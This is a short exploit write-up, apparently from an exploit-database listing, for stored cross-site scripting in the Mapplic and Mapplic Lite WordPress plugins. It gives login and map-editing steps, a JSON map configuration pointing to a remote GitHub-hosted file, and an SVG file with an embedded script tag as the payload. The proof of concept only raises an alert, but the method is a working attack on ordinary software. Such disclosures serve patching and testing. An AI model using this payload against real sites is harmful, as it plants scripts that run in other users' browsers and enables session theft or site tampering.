Exploit for Mapplic and Mapplic Lite - SSRF to Stored Cross-Site Scripting (XSS)

## https://sploitus.com/exploit?id=WPEX-ID:7BDEE32B-9036-4E13-9586-4D6A9A1159C6
#1.Login as user (author+)
#2.Add Add/Edit Map
   - [From Add]Enter github url with payload at "Map File (required)"
   - [From Edit]Click raw and enter github url with payload

#Example [From edit]
{"mapwidth":"100","mapheight":"100","minimap":false,"clearbutton":true,"zoombuttons":true,"sidebar":false,
"search":false,"hovertip":true,"mousewheel":true,"fullscreen":false,"deeplinking":true,"mapfill":false,
"zoom":true,"alphabetic":false,"zoomlimit":"3","action":"tooltip","categories":[],
"levels":[{"id":"my-map","title":"My Map","map":"
https://raw.githubusercontent.com/xxxxx/xss.svg
","minimap":"","locations":[]}]}

with https://raw.githubusercontent.com/xxxxx/xss.svg:

<svg version="1.1" id="mapplic-usa" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"
     y="0px" width="960px" height="600px" viewBox="0 0 960 600"
enable-background="new 0 0 960 600" xml:space="preserve">
     <script>alert(/XSS/)</script>
</svg>